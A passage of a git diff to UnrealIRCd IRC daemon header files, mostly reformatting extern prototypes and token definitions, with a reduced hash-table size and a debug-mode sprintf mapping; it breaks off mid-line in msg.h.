compatibility.. as stated of 467leaf win32 port.. */ #ifdef _WIN32 -// extern void *hCio; +// extern void *hCio; #endif #ifdef SHOWCONNECTINFO @@ -61,282 +66,281 @@ extern time_t check_pings(time_t now, int check_kills); #define BREPORT_FAIL_ID "NOTICE AUTH :*** No ident response; username prefixed with ~\r\n" extern char REPORT_DO_DNS[128], REPORT_FIN_DNS[128], REPORT_FIN_DNSC[128], - REPORT_FAIL_DNS[128], REPORT_DO_ID[128], REPORT_FIN_ID[128], - REPORT_FAIL_ID[128]; + REPORT_FAIL_DNS[128], REPORT_DO_ID[128], REPORT_FIN_ID[128], + REPORT_FAIL_ID[128]; #ifdef SOCKSPORT -extern char REPORT_DO_SOCKS[128], REPORT_GOOD_SOCKS[128], - REPORT_NO_SOCKS[128]; +extern char REPORT_DO_SOCKS[128], REPORT_GOOD_SOCKS[128], REPORT_NO_SOCKS[128]; #endif extern int R_do_dns, R_fin_dns, R_fin_dnsc, R_fail_dns, - R_do_id, R_fin_id, R_fail_id; + R_do_id, R_fin_id, R_fail_id; #ifdef SOCKSPORT - extern int R_do_socks, - R_good_socks, R_no_socks; +extern int R_do_socks, R_good_socks, R_no_socks; #endif #endif -extern aChannel *find_channel PROTO((char *, aChannel *)); -extern void remove_user_from_channel PROTO((aClient *, aChannel *)); +extern aChannel *find_channel PROTO((char *, aChannel *)); +extern void remove_user_from_channel PROTO((aClient *, aChannel *)); /* for services */ -extern void del_invite PROTO((aClient *, aChannel *)); -extern int del_silence PROTO((aClient *, char *)); -extern void send_user_joins PROTO((aClient *, aClient *)); -extern void clean_channelname PROTO((char *)); -extern int do_nick_name PROTO((char *)); -extern int can_send PROTO((aClient *, aChannel *, char *)); -extern int is_chan_op PROTO((aClient *, aChannel *)); -extern int is_zombie PROTO((aClient *, aChannel *)); -extern int has_voice PROTO((aClient *, aChannel *)); -extern int is_chanowner PROTO((aClient *, aChannel *)); -extern int count_channels PROTO((aClient *)); -extern Ban *is_banned PROTO((aClient *, aClient *, aChannel *)); -extern int parse_help PROTO((aClient *, char *, char *)); +extern void del_invite PROTO((aClient *, aChannel *)); +extern int del_silence PROTO((aClient *, char *)); +extern void send_user_joins PROTO((aClient *, aClient *)); +extern void clean_channelname PROTO((char *)); +extern int do_nick_name PROTO((char *)); +extern int can_send PROTO((aClient *, aChannel *, char *)); +extern int is_chan_op PROTO((aClient *, aChannel *)); +extern int has_voice PROTO((aClient *, aChannel *)); +extern int is_chanowner PROTO((aClient *, aChannel *)); +extern Ban *is_banned PROTO((aClient *, aClient *, aChannel *)); +extern int parse_help PROTO((aClient *, char *, char *)); -extern void ircd_log PROTO((char *, ...)); -extern aClient *find_client PROTO((char *, aClient *)); -extern aClient *find_name PROTO((char *, aClient *)); -extern aClient *find_nickserv PROTO((char *, aClient *)); -extern aClient *find_person PROTO((char *, aClient *)); -extern aClient *find_server PROTO((char *, aClient *)); -extern aClient *find_service PROTO((char *, aClient *)); +extern void ircd_log PROTO((char *, ...)); +extern aClient *find_client PROTO((char *, aClient *)); +extern aClient *find_name PROTO((char *, aClient *)); +extern aClient *find_nickserv PROTO((char *, aClient *)); +extern aClient *find_person PROTO((char *, aClient *)); +extern aClient *find_server PROTO((char *, aClient *)); +extern aClient *find_service PROTO((char *, aClient *)); -extern char *find_or_add PROTO((char *)); -extern int attach_conf PROTO((aClient *, aConfItem *)); -extern aConfItem *attach_confs PROTO((aClient*, char *, int)); -extern aConfItem *attach_confs_host PROTO((aClient*, char *, int)); -extern int attach_Iline PROTO((aClient *, struct hostent *, char *)); -extern aConfItem *conf, *find_me PROTO(()), *find_admin PROTO(()); -extern aConfItem *count_cnlines PROTO((Link *)); -extern aSqlineItem *sqline; -extern void det_confs_butmask PROTO((aClient *, int)); -extern int detach_conf PROTO((aClient *, aConfItem *)); -extern aSqlineItem *find_sqline_nick PROTO((char *)); -extern aSqlineItem *find_sqline_match PROTO((char *)); -extern aConfItem *det_confs_butone PROTO((aClient *, aConfItem *)); -extern char *find_diepass(); -extern char *find_restartpass(); -extern aConfItem *find_conf PROTO((Link *, char*, int)); -extern aConfItem *find_conf_exact PROTO((char *, char *, char *, int)); -extern aConfItem *find_conf_host PROTO((Link *, char *, int)); -extern aConfItem *find_conf_ip PROTO((Link *, char *, char *, int)); -extern aConfItem *find_conf_name PROTO((char *, int)); -extern aConfItem *find_temp_conf_entry PROTO((aConfItem *, u_int)); -extern aConfItem *find_conf_servern PROTO((char *)); -extern int find_kill PROTO((aClient *)); -extern char *find_zap PROTO((aClient *, int)); -extern int find_restrict PROTO((aClient *)); -extern int rehash PROTO((aClient *, aClient *, int)); -extern int initconf PROTO((int)); -extern void add_temp_conf(); -extern void inittoken PROTO(()); -extern void reset_help PROTO(()); -extern int find_exception(char *); /* hidden host */ +extern char *find_or_add PROTO((char *)); +extern int attach_conf PROTO((aClient *, aConfItem *)); +extern aConfItem *attach_confs PROTO((aClient *, char *, int)); +extern aConfItem *attach_confs_host PROTO((aClient *, char *, int)); +extern int attach_Iline PROTO((aClient *, struct hostent *, char *)); +extern aConfItem *conf, *find_me PROTO(()), *find_admin PROTO(()); +extern aConfItem *count_cnlines PROTO((Link *)); +extern aSqlineItem *sqline; +extern void det_confs_butmask PROTO((aClient *, int)); +extern int detach_conf PROTO((aClient *, aConfItem *)); +extern aSqlineItem *find_sqline_nick PROTO((char *)); +extern aSqlineItem *find_sqline_match PROTO((char *)); +extern aConfItem *det_confs_butone PROTO((aClient *, aConfItem *)); +extern char *find_diepass(); +extern char *find_restartpass(); +extern aConfItem *find_conf PROTO((Link *, char *, int)); +extern aConfItem *find_conf_exact PROTO((char *, char *, char *, int)); +extern aConfItem *find_conf_host PROTO((Link *, char *, int)); +extern aConfItem *find_conf_ip PROTO((Link *, char *, char *, int)); +extern aConfItem *find_conf_name PROTO((char *, int)); +extern aConfItem *find_temp_conf_entry PROTO((aConfItem *, u_int)); +extern aConfItem *find_conf_servern PROTO((char *)); +extern int find_kill PROTO((aClient *)); +extern char *find_zap PROTO((aClient *, int)); +extern int find_restrict PROTO((aClient *)); +extern int rehash PROTO((aClient *, aClient *, int)); +extern int initconf PROTO((int)); +extern void add_temp_conf(); +extern void inittoken PROTO(()); +extern void reset_help PROTO(()); +extern int find_exception(char *); /* hidden host */ -extern char *MyMalloc PROTO((int)), *MyRealloc PROTO((char *, int)); +extern char *MyMalloc PROTO((int)), *MyRealloc PROTO((char *, int)); -extern char *debugmode, *configfile, *sbrk0; -extern char *getfield PROTO((char *)); -extern void get_sockhost PROTO((aClient *, char *)); -extern char *rpl_str PROTO((int)), *err_str PROTO((int)); -extern char *strerror PROTO((int)); -extern int dgets PROTO((int, char *, int)); -extern char *inetntoa PROTO((char *)); +extern char *debugmode, *configfile, *sbrk0; +extern char *getfield PROTO((char *)); +extern void get_sockhost PROTO((aClient *, char *)); +extern char *strerror PROTO((int)); +extern int dgets PROTO((int, char *, int)); +extern char *inetntoa PROTO((char *)); #ifdef _WIN32 -extern int dbufalloc, dbufblocks, debuglevel; +extern int dbufalloc, dbufblocks, debuglevel; #else -extern int dbufalloc, dbufblocks, debuglevel, errno, h_errno; +extern int dbufalloc, dbufblocks, debuglevel, errno, h_errno; #endif -extern int highest_fd, debuglevel, portnum, debugtty, maxusersperchannel; -extern int readcalls, udpfd, resfd; -extern aClient *add_connection PROTO((aClient *, int)); -extern int add_listener PROTO((aConfItem *)); -extern void add_local_domain PROTO((char *, int)); -extern int check_client PROTO((aClient *)); -extern int check_server PROTO((aClient *, struct hostent *, \ - aConfItem *, aConfItem *, int)); -extern int check_server_init PROTO((aClient *)); -extern void close_connection PROTO((aClient *)); -extern void close_listeners PROTO(()); -extern int connect_server PROTO((aConfItem *, aClient *, struct hostent *)); -extern void get_my_name PROTO((aClient *, char *, int)); -extern int get_sockerr PROTO((aClient *)); -extern int inetport PROTO((aClient *, char *, int)); -extern void init_sys PROTO(()); +extern int highest_fd, debuglevel, portnum, debugtty, maxusersperchannel; +extern int readcalls, udpfd, resfd; +extern aClient *add_connection PROTO((aClient *, int)); +extern int add_listener PROTO((aConfItem *)); +extern void add_local_domain PROTO((char *, int)); +extern int check_client PROTO((aClient *)); +extern int check_server PROTO((aClient *, struct hostent *, aConfItem *, + aConfItem *, int)); +extern int check_server_init PROTO((aClient *)); +extern void close_connection PROTO((aClient *)); +extern void close_listeners PROTO(()); +extern int connect_server PROTO((aConfItem *, aClient *, struct hostent *)); +extern void get_my_name PROTO((aClient *, char *, int)); +extern int get_sockerr PROTO((aClient *)); +extern int inetport PROTO((aClient *, char *, int)); +extern void init_sys PROTO(()); #ifdef NO_FDLIST -extern int read_message PROTO((time_t)); +extern int read_message PROTO((time_t)); #else -extern int read_message PROTO((time_t, fdlist *)); +extern int read_message PROTO((time_t, fdlist *)); #endif -extern void report_error PROTO((char *, aClient *)); -extern void set_non_blocking PROTO((int, aClient *)); -extern int setup_ping PROTO(()); -extern void summon PROTO((aClient *, char *, char *, char *)); -extern int unixport PROTO((aClient *, char *, int)); -extern int utmp_open PROTO(()); -extern int utmp_read PROTO((int, char *, char *, char *, int)); -extern int utmp_close PROTO((int)); +extern void report_error PROTO((char *, aClient *)); +extern void set_non_blocking PROTO((int, aClient *)); +extern int setup_ping PROTO(()); +extern void summon PROTO((aClient *, char *, char *, char *)); +extern int utmp_open PROTO(()); +extern int utmp_read PROTO((int, char *, char *, char *, int)); +extern int utmp_close PROTO((int)); -extern void start_auth PROTO((aClient *)); -extern void read_authports PROTO((aClient *)); -extern void send_authports PROTO((aClient *)); +extern void start_auth PROTO((aClient *)); +extern void read_authports PROTO((aClient *)); +extern void send_authports PROTO((aClient *)); #ifdef SOCKSPORT -extern void init_socks PROTO((aClient *)); -extern void start_socks PROTO((aClient *)); -extern void send_socksquery PROTO((aClient *)); -extern void read_socks PROTO((aClient *)); +extern void init_socks PROTO((aClient *)); +extern void start_socks PROTO((aClient *)); +extern void send_socksquery PROTO((aClient *)); +extern void read_socks PROTO((aClient *)); #endif -extern void restart PROTO((char *)); -extern void send_channel_modes PROTO((aClient *, aChannel *)); -extern void server_reboot PROTO((char *)); -extern void terminate PROTO(()), write_pidfile PROTO(()); +extern void restart PROTO((char *)); +extern void send_channel_modes PROTO((aClient *, aChannel *)); +extern void server_reboot PROTO((char *)); +extern void terminate PROTO(()), write_pidfile PROTO(()); -extern int send_queued PROTO((aClient *)); +extern int send_queued PROTO((aClient *)); /*VARARGS2*/ -// extern void sendto_one(char *, ...); +// extern void sendto_one(char *, ...); /*VARARGS4*/ /* i know this is naughty but :P --stskeeps */ -extern void sendto_channel_butone(aClient *, aClient *, aChannel *, char *, ...); -extern void sendto_channelops_butone(aClient *, aClient *, aChannel *, char *, ...); -extern void sendto_channelvoice_butone(aClient *, aClient *, aChannel *, char *, ...); +extern void sendto_channel_butone(aClient *, aClient *, aChannel *, char *, + ...); +extern void sendto_channelops_butone(aClient *, aClient *, aChannel *, + char *, ...); +extern void sendto_channelvoice_butone(aClient *, aClient *, aChannel *, + char *, ...); /*VARARGS2*/ -extern void sendto_serv_butone(aClient *, char *, ...); +extern void sendto_serv_butone(aClient *, char *, ...); /*VARARGS2*/ -extern void sendto_serv_butone_quit(aClient *, char *, ...); -extern void sendto_serv_butone_sjoin(aClient *, char *, ...); -extern void sendto_serv_sjoin(aClient *, char *, ...); +extern void sendto_serv_butone_quit(aClient *, char *, ...); +extern void sendto_serv_butone_sjoin(aClient *, char *, ...); +extern void sendto_serv_sjoin(aClient *, char *, ...); /*VARARGS2*/ -extern void sendto_common_channels(aClient *, char *, ...); +extern void sendto_common_channels(aClient *, char *, ...); /*VARARGS3*/ -extern void sendto_channel_butserv(aChannel *, aClient *, char *, ...); +extern void sendto_channel_butserv(aChannel *, aClient *, char *, ...); /*VARARGS3*/ -extern void sendto_match_servs(aChannel *, aClient *, char *, ...); +extern void sendto_match_servs(aChannel *, aClient *, char *, ...); /*VARARGS5*/ -extern void sendto_match_butone(aClient *, aClient *, char *, int, char *pattern, ...); +extern void sendto_match_butone(aClient *, aClient *, char *, int, + char *pattern, ...); /*VARARGS3*/ -extern void sendto_all_butone(aClient *, aClient *, char *, ...); +extern void sendto_all_butone(aClient *, aClient *, char *, ...); /*VARARGS1*/ -extern void sendto_ops(char *, ...); +extern void sendto_ops(char *, ...); /*VARARGS3*/ -extern void sendto_ops_butone(aClient *, aClient *, char *, ...); +extern void sendto_ops_butone(aClient *, aClient *, char *, ...); /*VARARGS3*/ -extern void sendto_ops_butme(aClient *, char *, ...); +extern void sendto_ops_butme(aClient *, char *, ...); /*VARARGS3*/ -extern void sendto_prefix_one(aClient *, aClient *, const char *, ...); +extern void sendto_prefix_one(aClient *, aClient *, const char *, ...); /*VARARGS3*/ -extern void sendto_failops_whoare_opers(char *, ...); +extern void sendto_failops_whoare_opers(char *, ...); /*VARARGS3*/ -extern void sendto_failops(char *, ...); +extern void sendto_failops(char *, ...); /*VARARGS3*/ -extern void sendto_opers(char *, ...); +extern void sendto_opers(char *, ...); /*VARARGS?*/ -extern void sendto_umode(int, char *, ...); -extern void sendto_conn_hcn(char *, ...); -extern int writecalls, writeb[]; -extern int deliver_it PROTO((aClient *, char *, int)); +extern void sendto_umode(int, char *, ...); +extern void sendto_conn_hcn(char *, ...); +extern int writecalls, writeb[]; +extern int deliver_it PROTO((aClient *, char *, int)); -extern int check_registered PROTO((aClient *)); -extern int check_registered_user PROTO((aClient *)); -extern char *get_client_name PROTO((aClient *, int)); -extern char *get_client_host PROTO((aClient *)); -extern char *my_name_for_link PROTO((char *, aConfItem *)); -extern char *myctime PROTO((time_t)), *date PROTO((time_t)); -extern int exit_client PROTO((aClient *, aClient *, aClient *, char *)); -extern void initstats PROTO(()), tstats PROTO((aClient *, char *)); -extern char *check_string PROTO((char *)); -extern char *make_nick_user_host PROTO((char *, char *, char *)); +extern int check_registered PROTO((aClient *)); +extern int check_registered_user PROTO((aClient *)); +extern char *get_client_name PROTO((aClient *, int)); +extern char *get_client_host PROTO((aClient *)); +extern char *my_name_for_link PROTO((char *, aConfItem *)); +extern char *myctime PROTO((time_t)), *date PROTO((time_t)); +extern int exit_client PROTO((aClient *, aClient *, aClient *, char *)); +extern void initstats PROTO(()), tstats PROTO((aClient *, char *)); +extern char *check_string PROTO((char *)); +extern char *make_nick_user_host PROTO((char *, char *, char *)); -extern int parse PROTO((aClient *, char *, char *, struct Message *)); -extern int do_numeric PROTO((int, aClient *, aClient *, int, char **)); -extern int hunt_server PROTO((aClient *,aClient *,char *,int,int,char **)); -extern aClient *next_client PROTO((aClient *, char *)); -extern int m_umode PROTO((aClient *, aClient *, int, char **)); -extern int m_names PROTO((aClient *, aClient *, int, char **)); -extern int m_server_estab PROTO((aClient *)); -extern void send_umode PROTO((aClient *, aClient *, int, int, char *)); -extern void send_umode_out PROTO((aClient*, aClient *, int)); +extern int parse PROTO((aClient *, char *, char *, struct Message *)); +extern int do_numeric PROTO((int, aClient *, aClient *, int, char **)); +extern int hunt_server PROTO((aClient *, aClient *, char *, int, int, char **)); +extern aClient *next_client PROTO((aClient *, char *)); +extern int m_umode PROTO((aClient *, aClient *, int, char **)); +extern int m_names PROTO((aClient *, aClient *, int, char **)); +extern int m_server_estab PROTO((aClient *)); +extern void send_umode PROTO((aClient *, aClient *, int, int, char *)); +extern void send_umode_out PROTO((aClient *, aClient *, int)); -extern void free_client PROTO((aClient *)); -extern void free_link PROTO((Link *)); -extern void free_ban PROTO((Ban *)); -extern void free_conf PROTO((aConfItem *)); -extern void free_class PROTO((aClass *)); -extern void free_user PROTO((anUser *, aClient *)); -extern int find_str_match_link PROTO((Link **, char *)); -extern void free_str_list PROTO ((Link *)); -extern Link *make_link PROTO(()); -extern Ban *make_ban PROTO(()); -extern anUser *make_user PROTO((aClient *)); -extern aSqlineItem *make_sqline PROTO(()); -extern aConfItem *make_conf PROTO(()); -extern aClass *make_class PROTO(()); -extern aServer *make_server PROTO(()); -extern aClient *make_client PROTO((aClient *, aClient *)); -extern Link *find_user_link PROTO((Link *, aClient *)); -extern Link *find_channel_link PROTO((Link *, aChannel *)); -extern char *pretty_mask PROTO((char *)); -extern void add_client_to_list PROTO((aClient *)); -extern void checklist PROTO(()); -extern void remove_client_from_list PROTO((aClient *)); -extern void initlists PROTO(()); +extern void free_client PROTO((aClient *)); +extern void free_link PROTO((Link *)); +extern void free_ban PROTO((Ban *)); +extern void free_conf PROTO((aConfItem *)); +extern void free_class PROTO((aClass *)); +extern void free_user PROTO((anUser *, aClient *)); +extern int find_str_match_link PROTO((Link **, char *)); +extern void free_str_list PROTO((Link *)); +extern Link *make_link PROTO(()); +extern Ban *make_ban PROTO(()); +extern anUser *make_user PROTO((aClient *)); +extern aSqlineItem *make_sqline PROTO(()); +extern aConfItem *make_conf PROTO(()); +extern aClass *make_class PROTO(()); +extern aServer *make_server PROTO(()); +extern aClient *make_client PROTO((aClient *, aClient *)); +extern Link *find_user_link PROTO((Link *, aClient *)); +extern Link *find_channel_link PROTO((Link *, aChannel *)); +extern char *pretty_mask PROTO((char *)); +extern void add_client_to_list PROTO((aClient *)); +extern void checklist PROTO(()); +extern void remove_client_from_list PROTO((aClient *)); +extern void initlists PROTO(()); -extern void add_class PROTO((int, int, int, int, long)); -extern void fix_class PROTO((aConfItem *, aConfItem *)); -extern long get_sendq PROTO((aClient *)); -extern int get_con_freq PROTO((aClass *)); -extern int get_client_ping PROTO((aClient *)); -extern int get_client_class PROTO((aClient *)); -extern int get_conf_class PROTO((aConfItem *)); -extern void report_classes PROTO((aClient *)); +extern void add_class PROTO((int, int, int, int, long)); +extern void fix_class PROTO((aConfItem *, aConfItem *)); +extern long get_sendq PROTO((aClient *)); +extern int get_con_freq PROTO((aClass *)); +extern int get_client_ping PROTO((aClient *)); +extern int get_client_class PROTO((aClient *)); +extern int get_conf_class PROTO((aConfItem *)); +extern void report_classes PROTO((aClient *)); -extern struct hostent *get_res PROTO((char *)); -extern struct hostent *gethost_byaddr PROTO((char *, Link *)); -extern struct hostent *gethost_byname PROTO((char *, Link *)); -extern void flush_cache PROTO(()); -extern int init_resolver PROTO((int)); -extern time_t timeout_query_list PROTO((time_t)); -extern time_t expire_cache PROTO((time_t)); -extern void del_queries PROTO((char *)); +extern struct hostent *get_res PROTO((char *)); +extern struct hostent *gethost_byaddr PROTO((char *, Link *)); +extern struct hostent *gethost_byname PROTO((char *, Link *)); +extern void flush_cache PROTO(()); +extern int init_resolver PROTO((int)); +extern time_t timeout_query_list PROTO((time_t)); +extern time_t expire_cache PROTO((time_t)); +extern void del_queries PROTO((char *)); -extern void clear_channel_hash_table PROTO(()); -extern void clear_client_hash_table PROTO(()); -extern void clear_notify_hash_table PROTO(()); -extern int add_to_client_hash_table PROTO((char *, aClient *)); -extern int del_from_client_hash_table PROTO((char *, aClient *)); -extern int add_to_channel_hash_table PROTO((char *, aChannel *)); -extern int del_from_channel_hash_table PROTO((char *, aChannel *)); -extern int add_to_notify_hash_table PROTO((char *, aClient *)); -extern int del_from_notify_hash_table PROTO((char *, aClient *)); -extern int hash_check_notify PROTO((aClient *, int)); -extern int hash_del_notify_list PROTO((aClient *)); -extern void count_watch_memory PROTO((int *, u_long *)); -extern aNotify *hash_get_notify PROTO((char *)); -extern aChannel *hash_get_chan_bucket PROTO((int)); -extern aClient *hash_find_client PROTO((char *, aClient *)); -extern aClient *hash_find_nickserver PROTO((char *, aClient *)); -extern aClient *hash_find_server PROTO((char *, aClient *)); -extern char *find_by_aln PROTO((char *)); -extern char *convert2aln PROTO((int)); -extern int convertfromaln PROTO((char *)); -extern char *find_server_aln PROTO((char *)); -extern int dopacket PROTO((aClient *, char *, int)); +extern void clear_channel_hash_table PROTO(()); +extern void clear_client_hash_table PROTO(()); +extern void clear_notify_hash_table PROTO(()); +extern int add_to_client_hash_table PROTO((char *, aClient *)); +extern int del_from_client_hash_table PROTO((char *, aClient *)); +extern int add_to_channel_hash_table PROTO((char *, aChannel *)); +extern int del_from_channel_hash_table PROTO((char *, aChannel *)); +extern int add_to_notify_hash_table PROTO((char *, aClient *)); +extern int del_from_notify_hash_table PROTO((char *, aClient *)); +extern int hash_check_notify PROTO((aClient *, int)); +extern int hash_del_notify_list PROTO((aClient *)); +extern void count_watch_memory PROTO((int *, u_long *)); +extern aNotify *hash_get_notify PROTO((char *)); +extern aChannel *hash_get_chan_bucket PROTO((int)); +extern aClient *hash_find_client PROTO((char *, aClient *)); +extern aClient *hash_find_nickserver PROTO((char *, aClient *)); +extern aClient *hash_find_server PROTO((char *, aClient *)); +extern char *find_by_aln PROTO((char *)); +extern char *convert2aln PROTO((int)); +extern int convertfromaln PROTO((char *)); +extern char *find_server_aln PROTO((char *)); +extern int dopacket PROTO((aClient *, char *, int)); /*VARARGS2*/ -extern void debug(); +extern void debug(); #if defined(DEBUGMODE) -extern void send_usage PROTO((aClient *, char *)); -extern void send_listinfo PROTO((aClient *, char *)); -extern void count_memory PROTO((aClient *, char *)); +extern void send_usage PROTO((aClient *, char *)); +extern void send_listinfo PROTO((aClient *, char *)); +extern void count_memory PROTO((aClient *, char *)); #endif #ifdef INET6 -extern char *inetntop(int af, const void *in, char *local_dummy, size_t the_size); +extern char *inetntop(int af, const void *in, char *local_dummy, + size_t the_size); #endif char *crule_parse PROTO((char *)); diff --git a/include/hash.h b/include/hash.h index f4c1d0fd8..c87e1f39b 100644 --- a/include/hash.h +++ b/include/hash.h @@ -23,9 +23,9 @@ #define __hash_include__ typedef struct hashentry { - int hits; - int links; - void *list; + int hits; + int links; + void *list; } aHashEntry; /* Taner had BITS_PER_COL 4 BITS_PER_COL_MASK 0xF - Dianora */ @@ -38,7 +38,7 @@ typedef struct hashentry { * used in hash.c */ -#define U_MAX_INITIAL 8192 +#define U_MAX_INITIAL 2048 #define U_MAX_INITIAL_MASK (U_MAX_INITIAL-1) #define U_MAX (U_MAX_INITIAL*MAX_SUB) @@ -58,9 +58,9 @@ typedef struct hashentry { #define WW_MAX_INITIAL_MASK (WW_MAX_INITIAL-1) #define WW_MAX (WW_MAX_INITIAL*MAX_SUB) -#define NOTIFYHASHSIZE 10007 /* prime number */ +#define NOTIFYHASHSIZE 10007 /* prime number */ #define NullChn ((aChannel *)0) #define find_channel hash_find_channel -#endif /* __hash_include__ */ +#endif /* __hash_include__ */ diff --git a/include/inet.h b/include/inet.h index 9b980e3d0..fc01274c1 100644 --- a/include/inet.h +++ b/include/inet.h @@ -22,7 +22,7 @@ */ /* External definitions for functions in inet(3) */ -#include "config.h" /* for system definitions */ +#include "config.h" /* for system definitions */ #ifdef __alpha #define __u_l unsigned int @@ -35,7 +35,7 @@ extern __u_l inet_addr(char *); extern char *inet_ntoa(char *); # endif -extern __u_l inet_makeaddr(int , int); +extern __u_l inet_makeaddr(int, int); extern __u_l inet_network(char *); extern __u_l inet_lnaof(struct in_addr); #else diff --git a/include/ircsprintf.h b/include/ircsprintf.h index 381c700ac..e61346ef0 100644 --- a/include/ircsprintf.h +++ b/include/ircsprintf.h @@ -14,8 +14,17 @@ * Proto types */ +/* You do want it to work in debug mode yes ? --DrBin */ + +#ifndef DEBUGMODE extern char *ircvsprintf(char *str, const char *format, va_list); -extern char *ircsprintf(char *str, const char *format, ...); +extern char *ircsprintf(char *str, const char *format, ...); +#else +#define ircsprintf sprintf +#define ircvsprintf vsprintf +#endif + + extern const char atoi_tab[4000]; #endif diff --git a/include/license.h b/include/license.h index a2255a48f..2b5a11eca 100644 --- a/include/license.h +++ b/include/license.h @@ -28,32 +28,32 @@ */ static char *Statement[] = { -" * This file may not be removed from the IRCd package.", -" * It will be a violation of copyright. This program must always", -" * stay free and not be charged for, being sold commercially or privately", -" * Only charge may be for the transport medium like one CD-ROM, floppy", -" * or other kinds.", -0}; - -char *gnulicense[] = { -" \2UnrealIRCd License\2", -"This program is free software; you can redistribute it and/or modify", -"it under the terms of the GNU General Public License as published by", -"the Free Software Foundation; either version 1, or (at your option)", -"any later version.", -"", -"This program is distributed in the hope that it will be useful,", -"but WITHOUT ANY WARRANTY; without even the implied warranty of", -"MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the", -"GNU General Public License for more details.", -"", -"You should have received a copy of the GNU General Public License", -"along with this program; if not, write to the Free Software", -"Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.", -"", -"To see the UnrealIRCd License, please point your browser", -"at http://www.gnu.org/copyleft/gpl.html or look in the", -"file LICENSE in the UnrealIRCd dist", -0 + " * This file may not be removed from the IRCd package.", + " * It will be a violation of copyright. This program must always", + " * stay free and not be charged for, being sold commercially or privately", + " * Only charge may be for the transport medium like one CD-ROM, floppy", + " * or other kinds.", + 0 }; +char *gnulicense[] = { + " \2UnrealIRCd License\2", + "This program is free software; you can redistribute it and/or modify", + "it under the terms of the GNU General Public License as published by", + "the Free Software Foundation; either version 1, or (at your option)", + "any later version.", + "", + "This program is distributed in the hope that it will be useful,", + "but WITHOUT ANY WARRANTY; without even the implied warranty of", + "MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the", + "GNU General Public License for more details.", + "", + "You should have received a copy of the GNU General Public License", + "along with this program; if not, write to the Free Software", + "Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.", + "", + "To see the UnrealIRCd License, please point your browser", + "at http://www.gnu.org/copyleft/gpl.html or look in the", + "file LICENSE in the UnrealIRCd dist", + 0 +}; diff --git a/include/msg.h b/include/msg.h index 765c1a466..8f517c5f2 100644 --- a/include/msg.h +++ b/include/msg.h @@ -1,3 +1,4 @@ + /************************************************************************ * Unreal Internet Relay Chat Daemon, include/msg.h * Copyright (C) 1990 Jarkko Oikarinen and @@ -45,204 +46,204 @@ * knowing it, I'm considering that reserved, and TRACE/A is now 'b'. * The normal msgtab should probably process this as special. -Donwulff */ - + /* 12/05/1999 - I was wrong - I didnt see the token[2] in struct Message okie 60*60 commands more :P - Sowwy!!! -sts */ #define MSG_PRIVATE "PRIVMSG" /* PRIV */ -#define TOK_PRIVATE "!" /* 33 */ -#define MSG_WHO "WHO" /* WHO -> WHOC */ -#define TOK_WHO "\"" /* 34 */ -#define MSG_WHOIS "WHOIS" /* WHOI */ -#define TOK_WHOIS "#" /* 35 */ +#define TOK_PRIVATE "!" /* 33 */ +#define MSG_WHO "WHO" /* WHO -> WHOC */ +#define TOK_WHO "\"" /* 34 */ +#define MSG_WHOIS "WHOIS" /* WHOI */ +#define TOK_WHOIS "#" /* 35 */ #define MSG_WHOWAS "WHOWAS" /* WHOW */ -#define TOK_WHOWAS "$" /* 36 */ -#define MSG_USER "USER" /* USER */ -#define TOK_USER "%" /* 37 */ -#define MSG_NICK "NICK" /* NICK */ -#define TOK_NICK "&" /* 38 */ +#define TOK_WHOWAS "$" /* 36 */ +#define MSG_USER "USER" /* USER */ +#define TOK_USER "%" /* 37 */ +#define MSG_NICK "NICK" /* NICK */ +#define TOK_NICK "&" /* 38 */ #define MSG_SERVER "SERVER" /* SERV */ -#define TOK_SERVER "'" /* 39 */ -#define MSG_LIST "LIST" /* LIST */ -#define TOK_LIST "(" /* 40 */ -#define MSG_TOPIC "TOPIC" /* TOPI */ -#define TOK_TOPIC ")" /* 41 */ +#define TOK_SERVER "'" /* 39 */ +#define MSG_LIST "LIST" /* LIST */ +#define TOK_LIST "(" /* 40 */ +#define MSG_TOPIC "TOPIC" /* TOPI */ +#define TOK_TOPIC ")" /* 41 */ #define MSG_INVITE "INVITE" /* INVI */ -#define TOK_INVITE "*" /* 42 */ +#define TOK_INVITE "*" /* 42 */ #define MSG_VERSION "VERSION" /* VERS */ -#define TOK_VERSION "+" /* 43 */ -#define MSG_QUIT "QUIT" /* QUIT */ -#define TOK_QUIT "," /* 44 */ -#define MSG_SQUIT "SQUIT" /* SQUI */ -#define TOK_SQUIT "-" /* 45 */ -#define MSG_KILL "KILL" /* KILL */ -#define TOK_KILL "." /* 46 */ -#define MSG_INFO "INFO" /* INFO */ -#define TOK_INFO "/" /* 47 */ -#define MSG_LINKS "LINKS" /* LINK */ -#define TOK_LINKS "0" /* 48 */ +#define TOK_VERSION "+" /* 43 */ +#define MSG_QUIT "QUIT" /* QUIT */ +#define TOK_QUIT "," /* 44 */ +#define MSG_SQUIT "SQUIT" /* SQUI */ +#define TOK_SQUIT "-" /* 45 */ +#define MSG_KILL "KILL" /* KILL */ +#define TOK_KILL "." /* 46 */ +#define MSG_INFO "INFO" /* INFO */ +#define TOK_INFO "/" /* 47 */ +#define MSG_LINKS "LINKS" /* LINK */ +#define TOK_LINKS "0" /* 48 */ #define MSG_SUMMON "SUMMON" /* SUMM */ -#define TOK_SUMMON "1" /* 49 */ -#define MSG_STATS "STATS" /* STAT */ -#define TOK_STATS "2" /* 50 */ -#define MSG_USERS "USERS" /* USER -> USRS */ -#define TOK_USERS "3" /* 51 */ -#define MSG_HELP "HELP" /* HELP */ +#define TOK_SUMMON "1" /* 49 */ +#define MSG_STATS "STATS" /* STAT */ +#define TOK_STATS "2" /* 50 */ +#define MSG_USERS "USERS" /* USER -> USRS */ +#define TOK_USERS "3" /* 51 */ +#define MSG_HELP "HELP" /* HELP */ #define MSG_HELPOP "HELPOP" /* HELP */ -#define TOK_HELP "4" /* 52 */ -#define MSG_ERROR "ERROR" /* ERRO */ -#define TOK_ERROR "5" /* 53 */ -#define MSG_AWAY "AWAY" /* AWAY */ -#define TOK_AWAY "6" /* 54 */ +#define TOK_HELP "4" /* 52 */ +#define MSG_ERROR "ERROR" /* ERRO */ +#define TOK_ERROR "5" /* 53 */ +#define MSG_AWAY "AWAY" /* AWAY */ +#define TOK_AWAY "6" /* 54 */ #define MSG_CONNECT "CONNECT" /* CONN */ -#define TOK_CONNECT "7" /* 55 */ -#define MSG_PING "PING" /* PING */ -#define 